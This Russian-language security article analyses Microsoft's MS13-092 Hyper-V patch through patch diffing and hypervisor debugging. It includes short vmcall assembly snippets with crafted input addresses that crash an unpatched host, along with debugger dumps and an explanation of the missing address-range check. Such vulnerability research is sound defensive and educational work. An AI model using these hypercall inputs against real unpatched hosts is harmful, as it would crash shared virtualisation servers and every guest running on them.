Hyper-V debugging for beginners. Part 2 или half disclosure of MS13-092

Hyper-V debugging for beginners. Part 2 или half disclosure of MS13-092

В статье я постараюсь описать применение методов из 1-й части статьи (http://www.securitylab.ru/contest/444112.php) для исследования деталей исправления.

Автор: Gerhart

В статье я постараюсь описать применение методов из 1-й части статьи (http://www.securitylab.ru/contest/444112.php) для исследования деталей исправления. Обозначение терминов можно найти там же. В качестве гостевой ОС для исследования использовалась Windows 8 x64.

12 ноября 2013 года Microsoft выпустила исправление безопасности MS13-092, исправляющее ошибку в компоненте Hyper-V Windows Server 2012, позволяющую отправить гипервизор в BSOD из гостевой ОС или выполнить произвольный код в других гостевых ОС, запущенных на уязвимом хост-сервере.

Для начала, как обычно, необходимо загрузить исправление и посмотреть, какие файлы были изменены. Изменились непосредственно файлы гипервизора hvix64.exe и hvax64.exe (версия 6.2.9200.20840), отладочная dll kdhvcom.dll, а также файл hvservice.sys (судя по беглому осмотру предназначен для вывода гипервизора из режима сна, поддержка которого появилась в Hyper-V в Windows Server 2012 – но могу ошибаться). Как и в первой части статьи рассматриваться будет hvix64.exe.

Далее необходимо найти патч, выпущенный до MS13-092, - им оказывается KB2885465. Как написано на странице http://support.microsoft.com/kb/2885465 версия файла hvix64.exe - 6.2.9200.20811 от 30.08.2013, однако в архиве находится версия 6.2.9200.20814 от 04.09.2013.

Затем, как обычно, берутся patchdiff или bindiff, производится сравнение изменений в файлах. Основная проблема отладки гипервизора Microsoft – это отсутствие символов. При загрузке файла в IDA PRO получаем набор бессмысленных функций типа sub_, достаточно большое число функций дизассемблер не распознает, и их приходится восстанавливать вручную, по возможности пользуясь скриптами. Как было описано в первой части статьи – загружаем гипервизор, импортируем через bindiff библиотечные функции из hvloader.exe, kdhvcom.dll, winload.exe, восстанавливаем скриптом таблицу mVmcallHandlersTable, настраиваем отладчик, подключаемся к работающему хост-серверу, восстанавливаем скриптом функции-обработчики прерываний, ищем точку входа (VM_EXIT) в гипервизор через скрипт. Также стоит найти все инструкции вида call loc_ и вручную преобразовать эти loc_ в функции. В гипервизоре достаточно число функций завершаются вызовом процедуры по генерации исключения, и IDA автоматически распознать их не может.

В описании уязвимости (http://technet.microsoft.com/en-us/security/bulletin/ms13-092) присутствует фраза: «The vulnerability could allow elevation of privilege if an attacker passes a specially crafted function parameter in a hypercall from an existing running virtual machine to the hypervisor. The vulnerability could also allow denial of service for the Hyper-V host if the attacker passes a specially crafted function parameter in a hypercall from an existing running virtual machine to the hypervisor», из чего следует, что в первую очередь необходимо разобрать обработки гипервизором hypercall’ов.

На http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3898 опубликована более детальную информацию:

Microsoft Windows 8 and Windows Server 2012, when Hyper-V is used, does not ensure memory-address validity, which allows guest OS users to execute arbitrary code in all guest OS instances, and allows guest OS users to cause a denial of service (host OS crash), via a guest-to-host hypercall with a crafted function parameter, aka "Address Corruption Vulnerability."

Таким образом в первую очередь необходимо искать изменения, внесённые в код обработки гипервызовов и связанные с выполнением операций с памятью.

Ввиду отсутствия символов имена функциям пришлось давать самостоятельно. Префикс m используется для функций, определённых вручную (manual defined), чтобы отличать их от библиотечных функций, найденных с помощью bindiff.

Из mHOST_RIP (процедуру, на которую передаётся управлении при каждом VM exit), сразу же передаётся управление на mParseVMExit

которая анализирует EXIT_REASON

чуть ниже происходит проверка, было ли причиной передачи управления гипервизору выполнение инструкции vmcall

Далее идут проверки того, была ли инструкция выполнена в ring3 или в ring0, меньше ли код гипервызова, чем число 0x8D (максимальное значение для Windows Server 2012 – 0x8С), в каком режиме работал процессор (32-х и 64-х битном), и были ли переданы параметры гипервызову через регистры (fast bit = 1) или же непосредственно через память.

После разбора основных функций выполним сравнение в bindiff (некоторые несовпавшие процедуры, которых достаточно немного названы в виде mUmatchedSub<№>):

Визуальное представление изменений функции mHandle64VmcallMemory (Слева – оригинальная версия. Справа – с устранённой уязвимостью).

Рассмотрим функцию mHandle64bVMCallMemory более подробнее:

В r9 загружается указатель на таблицу mVmcallHandlersTable, которая содержит параметры всех поддерживаемых гипервизором hypercall’ов. Она состоит из 0x8C структур (на некоторых скриншотах структура обозначена как hvcall entry), каждая из которых состоит из 8-ми двухбайтных элементов. Элементы с 3-го по 6-й активно используются в функции mHandle64bVMCallMemory для проверки допустимых размеров hypercall input и hypercall output.

Сперва происходит проверка параметра rep id в гипервызове. Rep id – это индикатор типа гипервызова (simple или repeatable). Он совпадает со значением Rep Call столбца 25 в Appendix B: Hypercall Code Reference из Hypervisor Top Level Functional Specification 3.0a.

В зависимости от значения параметра функция разбивается на 2 больших блока. Изучать будем ту часть функции, которая выполняется при rep id = 0, т.к. судя по bindiff’у именно эта часть функции подверглась наибольшим изменениям.

Происходит анализ гипервызова на предмет наличия rep start index или rep count.

Здесь и далее:

Input_gpa = hypercall input value
output_gpa = hypercall output value

Далее производится проверка размера Input_gpa.

Далее производится аналогичная проверка для output_gpa. Затем проверяется 3-й элемент структуры из таблицы mVmcallHandlersTable, соответствующей вызванному гипервызову.

Если размер input_gpa меньше или равно 40 битам, то происходит дальнейшая обработка, приводящая к вызову обработчика соответствующего гипервызова из mVmcallHandlersTable.
Таким образом можно сделать вывод, что в зависимости от количества значащих бит (от 1 до 40, от 41 до 52, от 53 до 64) обработка Input_gpa и output_gpa отличаются. Попробуем выполнить hypercall, удовлетворяющий проверяемым параметрам (без fast бита, с 3-м элементом hvcall entry, не равным 0) со значениями input_gpa и output_gpa, в каждом из трёх интервалов (в начале, и в конце). Например, подходит гипервызов с hvcall = 57 (HvCreatePort).

Диапазон 1..40 (наименьшее значение):

mov rdx, 0
mov r8,1
vmcall

Диапазон 1..40 (среднее значение):

mov rdx, FFFFFEh
mov r8, FFFFFFh
vmcall

Диапазон 1..40 (наибольшее значение):

mov rdx, FFFFFFFFFFh
mov r8,FFFFFFFFFEh
vmcall

Диапазон 41..52 (наименьшее значение):

mov rdx, 10000000000h
mov r8, 10000000001h
vmcall

Диапазон 41..52 (среднее значение)

mov rdx, 200000000000h
mov r8, 200000000001h
vmcall

Диапазон 41..52 (максимальное значение)

mov rdx, FFFFFFFFFFFEh
mov r8, FFFFFFFFFFFFh
vmcall

на среднем значении диапазона 41..52 получаем ошибку в отладчике, подключенном к гипервизору (поэтому 3-й диапазон не проверялся):

FFFFF800060F133F: The instruction at 0xFFFFF800060F133F referenced memory at 0x0. The memory could not be written -> 0000000000000000 (exc.code c0000005, tid 1).

Если продолжить выполнение функции, то гипервизор зависнет. В VMware с включенной отладкой он так и продолжит висеть, на физической машине без отладки появится BSOD:

1: kd> !analyze -v
HYPERVISOR_ERROR (20001)
The hypervisor has encountered a fatal error.
Arguments:
Arg1: 0000000000000011
Arg2: 00000000002b433f
Arg3: 0000000000001005
Arg4: ffffe80100203b60

Стек выглядит следующим образом:

1: kd> k

Child-SP RetAddr Call Site
fffff880`02e0bbd8 fffff801`4ab7094c nt!KeBugCheckEx
fffff880`02e0bbe0 fffff801`4abdf0a8 nt!HvlNmiCallbackRoutine+0x54
fffff880`02e0bc20 fffff801`4aa5c102 nt! ?? ::FNODOBFM::`string'+0x14702
fffff880`02e0bc70 fffff801`4aa5bf73 nt!KxNmiInterrupt+0x82
fffff880`02e0bdb0 fffff801`4aba0664 nt!KiNmiInterrupt+0x173
fffff880`02e29890 fffff801`4aab22ec nt!PpmIdleGuestExecute+0x1c
fffff880`02e298c0 fffff801`4aab1be0 nt!PpmIdleExecuteTransition+0x47b
fffff880`02e29ae0 fffff801`4aa8898c nt!PoIdle+0x460
fffff880`02e29c60 00000000`00000000 nt!KiIdleLoop+0x2c

Назовём функцию, в которой произошло исключение, - mBSOD_Handle64VmcallMemory.

Попробуем выяснить, при каких конкретных условиях происходит BSOD:

На момент выполнения инструкции значения регистров следующие:

WINDBG>r @r8
r8=ffffc80000000000
WINDBG>r @rax
rax=0000000200000000 – input_gpa shr 0xC

Будем перемещаться вверх по перекрёстным ссылкам, называя каждую родительскую функцию mBSOD_L<№>. Дойдя до функции mBSOD_L3, увидим, что она вызывается из функции mParseVMExit.

По адресу ffffc80000000000 размещается структура, в которой содержится набор SPA (system physical address) элементов, описывающих всё адресное пространство гостевой ОС (один элемент указывает на одну физическую страницу гостевой ос).

kd> !dd 0 – гостевая ОС
# 0 f000eef3 f000eef3 f000e2c3 f000eef3
# 10 f000eef3 f000ff54 f00000bf f0000067
# 20 f000fea5 f000e987 f000eef3 f000eef3
# 30 f000eef3 f000eef3 f000ef57 f000ff53
# 40 c8001148 f000f84d f000f841 f0001558
# 50 f000e739 f000f859 f000e82e f000860e
# 60 f000e000 f000e6f2 f000fe6e f000ff53
# 70 f000ff53 f000f0a4 f000efc7 c0002ff5
WINDBG>dc ffffc80000000000 – первый элемент таблицы в гипервизоре
ffffc800`00000000 20600077 80000000 20601077 80000000 w.` ....w.` ....
ffffc800`00000010 20602077 80000000 20603077 80000000 w ` ....w0` ....
ffffc800`00000020 02902075 82000000 20605077 80000000 u ......wP` ....
WINDBG>!dd 8000000020600000
#8000000020600000 f000eef3 f000eef3 f000e2c3 f000eef3
#8000000020600010 f000eef3 f000ff54 f00000bf f0000067
#8000000020600020 f000fea5 f000e987 f000eef3 f000eef3
#8000000020600030 f000eef3 f000eef3 f000ef57 f000ff53
#8000000020600040 c8001148 f000f84d f000f841 f0001558
#8000000020600050 f000e739 f000f859 f000e82e f000860e
#8000000020600060 f000e000 f000e6f2 f000fe6e f000ff53
#8000000020600070 f000ff53 f000f0a4 f000efc7 c0002ff5


kd> !dc 0x20000000-60 L18 – вывод содержимого последней страницы гостевой ОС (512 MB RAM)
#1fffffa0 00000000 00000000 00000000 00000000 ................
#1fffffb0 00000000 00000000 00000000 00000000 ................
#1fffffc0 00000000 00000000 00000000 00000000 ................
#1fffffd0 00000000 00000000 00000000 00000000 ................
#1fffffe0 5446534d 32304d56 00000000 00000000 MSFTVM02........
#1ffffff0 00ff48ea 2f3530f0 312f3332 00fc0032 .H...05/23/12...
WINDBG>dd ffffc80000000000+(0x20000-1)*8 – последний элемент таблицы в гипервизоре (последняя физическая страница гостевой ОС).
ffffc800`000ffff8 405ff077 80000000 00000000 00000000
WINDBG>!dc 80000000405ff000+0xFD0 - гипервизор
#80000000405fffd0 00000000 00000000 00000000 00000000 ................
#80000000405fffe0 5446534d 32304d56 00000000 00000000 MSFTVM02........
#80000000405ffff0 00ff48ea 2f3530f0 312f3332 00fc0032 .H...05/23/12...

Можно заменить, что адрес таблицы ffffc80000000000 не изменяется после перезагрузки ОС (как и адреса многих других внутренних структур гипервизора – с рандомизацией адресного пространства в гипервизоре дела обстоят не очень).

Разберём, что же происходит при передаче параметров гипервызову 0х57 для input_gpa = 200000000000h:

Проверка завершается неудачно:

Управление переходит на этот блок (r11b непосредственно до выполнения блока обнулялось, в rsi находится input_gpa):

Указатель на r10 – некая структура (struct1)

WINDBG>dd @r10
00000080`b5859000 0000001b 00000003 00000001 00000000
00000080`b5859010 00000000 00000000 00000000 00002000
00000080`b5859020 00000000 00000000 00000000 00000000
00000080`b5859030 b585b000 00000080 00000000 00000000
00000080`b5859040 00000000 00000000 b5802000 00000080
00000080`b5859050 00000000 00000000 87000fe7 00000001
00000080`b5859060 00000000 00000000 00000000 00000000
00000080`b5859070 00000002 00000100 00000000 00000000

При этом непосредственно обработчик гипервызова не вызывается (в ebx при проверке 1007h)

После этого функция mHandle64bVMCallMemory завершает свою работу и управление возвращается mParse_VMEXIT:

и управление передаётся функции mBSOD_L3

Которая анализирует результат mHandle64bVMCallMemory

При edx = 1b попадаем

в которой идёт проверка значений элементов структуры struct1.

Возможно, я не слишком внимательно просмотрел код от начала mHandle64bVMCallMemory до mBSOD_L1, но я не заметил, чтобы изменялись какие-то данные по смещению 110.

Посмотрим на функцию mBSOD_L1 (слева листинг гипервизора с устранённой уязвимостью) – как видно, добавилась проверка размера адреса на превышение 40 бит:

Далее вызывается mBSOD_Handle64VmcallMemory, в которой происходит загрузка элемента структуры с SPA, указывающими на GPA гостевой ОС. Индексом загрузки является

(input_gpa shr 12) *8. Если произойдёт попытка загрузки из невыделенной области памяти в гипервизоре, то возникнет некорректно обрабатываемое исключение (0xc0000005), которое приведёт к генерации BSOD в root-разделе.

В статье рассмотрена только самая лёгкая часть уязвимости, позволяющей выполнить отказ в обслуживании хост-сервера. Как оказалось в итоге, к BSODу приводит совсем не та функция, исследование которой производилось в первую очередь, но без предварительного исследования mHandle64VmcallMemory было бы достаточно сложно воспроизвести уязвимость.

Для примера в статье использовался hypercall HvCreatePort, права на вызов которого у гостевой ОС отсутствуют. Однако эти права проверяются на достаточно поздних этапах обработки гипервызова уже после вызова соответствующего обработчика из mVmcallHandlersTable, что даёт возможность использовать этот гипервызов для демонстрации уязвимости.

Возможность выполнения произвольного кода на момент создания статьи воспроизвести не удалось. Впрочем, эта тема для отдельного исследования уже не из класса «for beginners».

Ищем баги вместе! Но не те, что в продакшене...

Разбираем кейсы, делимся опытом, учимся на чужих ошибках

Зафиксируйте уязвимость своих знаний — подпишитесь!